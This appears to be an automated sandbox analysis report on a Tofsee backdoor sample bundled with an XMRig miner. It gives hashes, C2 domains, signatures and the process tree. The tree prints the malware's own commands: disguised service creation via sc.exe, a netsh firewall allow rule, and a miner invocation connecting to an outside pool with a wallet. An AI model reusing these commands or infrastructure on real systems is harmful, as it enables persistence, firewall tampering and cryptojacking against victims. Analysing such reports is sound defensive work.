Analysis

  • max time kernel
    142s
  • max time network
    141s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-01-2023 14:14

General

  • Target

    9ccd8472e98cfcc1f46af1786d20635a524f363a4acaeb49ad39af92d08783e7.exe

  • Size

    326KB

  • MD5

    b5c6f83ced9aa5067709e0a27b6f8cbc

  • SHA1

    46479182378b81715b98173792dd65ad39b68c03

  • SHA256

    9ccd8472e98cfcc1f46af1786d20635a524f363a4acaeb49ad39af92d08783e7

  • SHA512

    ed1bc2be2e087d6cec3f9eab3c431d3f5581f4c1bbcaa4a4e6e5a9d267fc1236c9805274b5d9827d6135fd45d839dfebb5deb756807e795db7a81162d3df70a1

  • SSDEEP

    6144:6TbGiHLwoUIApd2hNImvf0Y0ued79qog++gw:6TbDHLUIihmvCuC6++gw

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\9ccd8472e98cfcc1f46af1786d20635a524f363a4acaeb49ad39af92d08783e7.exe
    "C:\Users\Admin\AppData\Local\Temp\9ccd8472e98cfcc1f46af1786d20635a524f363a4acaeb49ad39af92d08783e7.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4824
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\zsdmjcjr\
      2⤵
        PID:1448
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hsotkdpe.exe" C:\Windows\SysWOW64\zsdmjcjr\
        2⤵
          PID:4068
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create zsdmjcjr binPath= "C:\Windows\SysWOW64\zsdmjcjr\hsotkdpe.exe /d\"C:\Users\Admin\AppData\Local\Temp\9ccd8472e98cfcc1f46af1786d20635a524f363a4acaeb49ad39af92d08783e7.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3300
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description zsdmjcjr "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1472
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start zsdmjcjr
          2⤵
          • Launches sc.exe
          PID:4488
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1372
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 1044
          2⤵
          • Program crash
          PID:308
      • C:\Windows\SysWOW64\zsdmjcjr\hsotkdpe.exe
        C:\Windows\SysWOW64\zsdmjcjr\hsotkdpe.exe /d"C:\Users\Admin\AppData\Local\Temp\9ccd8472e98cfcc1f46af1786d20635a524f363a4acaeb49ad39af92d08783e7.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:3972
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3112
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2404
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 3972 -s 520
          2⤵
          • Program crash
          PID:64
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4824 -ip 4824
        1⤵
          PID:3560
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 468 -p 3972 -ip 3972
          1⤵
            PID:1920

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\hsotkdpe.exe

            Filesize

            12.2MB

            MD5

            2f7276ca07f882576794d0bb034ea594

            SHA1

            f2d84365985bfaeeacc7955b54b88374bd53295f

            SHA256

            fa6e3060a91b25160906e159518fbed331df26cba0911a76a434235ab1bccac2

            SHA512

            798e78c840548c90315c4d87063ffb08967c3eb9d944bf7ed5b6c933cea65c2ed90312ecb79258134a3f1e4a4b3620038155bba01365851c68afb777c72b7f34

          • C:\Windows\SysWOW64\zsdmjcjr\hsotkdpe.exe

            Filesize

            12.2MB

            MD5

            2f7276ca07f882576794d0bb034ea594

            SHA1

            f2d84365985bfaeeacc7955b54b88374bd53295f

            SHA256

            fa6e3060a91b25160906e159518fbed331df26cba0911a76a434235ab1bccac2

            SHA512

            798e78c840548c90315c4d87063ffb08967c3eb9d944bf7ed5b6c933cea65c2ed90312ecb79258134a3f1e4a4b3620038155bba01365851c68afb777c72b7f34

          • memory/1372-141-0x0000000000000000-mapping.dmp

          • memory/1448-134-0x0000000000000000-mapping.dmp

          • memory/1472-139-0x0000000000000000-mapping.dmp

          • memory/2404-178-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/2404-173-0x0000000000A00000-0x0000000000AF1000-memory.dmp

            Filesize

            964KB

          • memory/2404-172-0x0000000000000000-mapping.dmp

          • memory/3112-146-0x0000000000000000-mapping.dmp

          • memory/3112-166-0x0000000007B80000-0x0000000007F8B000-memory.dmp

            Filesize

            4.0MB

          • memory/3112-169-0x00000000080D0000-0x00000000080D7000-memory.dmp

            Filesize

            28KB

          • memory/3112-163-0x0000000002FF0000-0x0000000002FF5000-memory.dmp

            Filesize

            20KB

          • memory/3112-160-0x00000000021F0000-0x0000000002200000-memory.dmp

            Filesize

            64KB

          • memory/3112-157-0x00000000021E0000-0x00000000021E6000-memory.dmp

            Filesize

            24KB

          • memory/3112-154-0x0000000002A00000-0x0000000002C0F000-memory.dmp

            Filesize

            2.1MB

          • memory/3112-147-0x0000000000EB0000-0x0000000000EC5000-memory.dmp

            Filesize

            84KB

          • memory/3112-153-0x0000000000EB0000-0x0000000000EC5000-memory.dmp

            Filesize

            84KB

          • memory/3112-152-0x0000000000EB0000-0x0000000000EC5000-memory.dmp

            Filesize

            84KB

          • memory/3300-138-0x0000000000000000-mapping.dmp

          • memory/3972-151-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/3972-150-0x0000000000799000-0x00000000007AE000-memory.dmp

            Filesize

            84KB

          • memory/4068-136-0x0000000000000000-mapping.dmp

          • memory/4488-140-0x0000000000000000-mapping.dmp

          • memory/4824-132-0x000000000064E000-0x0000000000664000-memory.dmp

            Filesize

            88KB

          • memory/4824-144-0x0000000000600000-0x0000000000613000-memory.dmp

            Filesize

            76KB

          • memory/4824-145-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/4824-143-0x000000000064E000-0x0000000000664000-memory.dmp

            Filesize

            88KB

          • memory/4824-135-0x0000000000400000-0x0000000000457000-memory.dmp

            Filesize

            348KB

          • memory/4824-133-0x0000000000600000-0x0000000000613000-memory.dmp

            Filesize

            76KB